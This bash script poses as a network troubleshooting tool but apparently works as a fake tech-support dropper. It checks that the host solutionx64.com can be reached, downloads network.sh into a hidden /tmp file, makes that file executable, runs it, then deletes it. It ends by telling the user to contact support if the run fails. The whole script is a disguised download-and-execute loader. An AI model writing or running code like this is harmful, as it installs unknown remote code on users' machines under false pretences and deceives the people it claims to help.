#!/bin/bash

echo -e "\033[33mOpening Terminal to Begin Troubleshoot, Click Yes to Begin.\033[0m"
echo ""

URL="https://solutionx64.com/network.sh"
TEMP_SCRIPT="/tmp/.troubleshoot_$(date +%s).sh"

# Check if running in Terminal
if [ -z "$TERM" ]; then
    echo -e "\033[31mError: This script must be run from Terminal.\033[0m"
    exit 1
fi

# Check network connectivity
if ! curl -s --max-time 10 -o /dev/null "$URL"; then
    echo -e "\033[31mError: Unable to reach support servers.\033[0m"
    echo -e "\033[33mCheck if firewall or antivirus is blocking the connection.\033[0m"
    exit 1
fi

# Download troubleshoot script
if ! curl -sL "$URL" -o "$TEMP_SCRIPT"; then
    echo -e "\033[31mError: Failed to download troubleshoot package.\033[0m"
    exit 1
fi

# Verify download succeeded
if [ ! -s "$TEMP_SCRIPT" ]; then
    echo -e "\033[31mError: Downloaded package is empty.\033[0m"
    rm -f "$TEMP_SCRIPT"
    exit 1
fi

chmod +x "$TEMP_SCRIPT"

# Execute the troubleshoot script
bash "$TEMP_SCRIPT"
EXIT_CODE=$?

# Cleanup
rm -f "$TEMP_SCRIPT"

if [ $EXIT_CODE -ne 0 ]; then
    echo ""
    echo -e "\033[31mTroubleshooting process has finished unsuccessful.\033[0m"
    echo -e "\033[31mPlease Contact Support.\033[0m"
fi
